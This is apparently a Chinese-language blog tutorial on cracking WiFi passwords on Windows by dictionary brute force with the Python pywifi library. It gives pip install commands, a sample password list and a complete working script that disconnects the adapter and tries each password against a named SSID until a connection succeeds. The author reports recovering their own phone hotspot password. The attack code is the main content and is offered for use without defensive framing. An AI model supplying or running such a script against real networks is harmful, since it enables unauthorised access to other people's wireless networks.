破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。
时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?
一番探索,真有!
安装pywifi库
pip install pywifi
pip install comtypes
破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。
因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:
nihaonihao 132312312 3242342534 53536346534 2423423423 2445356356 234232342 234234234 234453456 12345678 11111111 123123234
import pywifi from pywifi import const import time # 名称 Wifi密码 def wificonnect(wifiname,wifipwd): '''WIFI的测试连接''' wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] #断开WiFi连接 ifaces.disconnect() time.sleep(0.5) if ifaces.status() == const.IFACE_DISCONNECTED: # 创建WIFI文件 profile = pywifi.Profile() # wifi名称 profile.ssid = wifiname # 密码 profile.key = wifipwd # WiFi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 网卡的开放 profile.auth = const.AUTH_ALG_OPEN # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 删除所有的WIFI文件 ifaces.remove_all_network_profiles() # 设定新的链接文件 temp_profile = ifaces.add_network_profile(profile) # 连接wifi ifaces.connect(temp_profile) time.sleep(1) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False # 读取密码本 def read_pwd(): '''读取密码本''' print('开始破解:') path = r'wifipwd.txt' # 密码字典路径 file = open(path, 'r') # 开始遍历密码本 while True: try: wifipwd = file.readline() if wifipwd: wifipwd = wifipwd[:-1] # 删掉最后的换行符 b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称 if b: print('密码正确'+wifipwd) break # 退出一层循环 else: print('密码错误'+wifipwd) else: break except: continue file.close() read_pwd()
成功发现我的手机热点密码为 12345678
所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。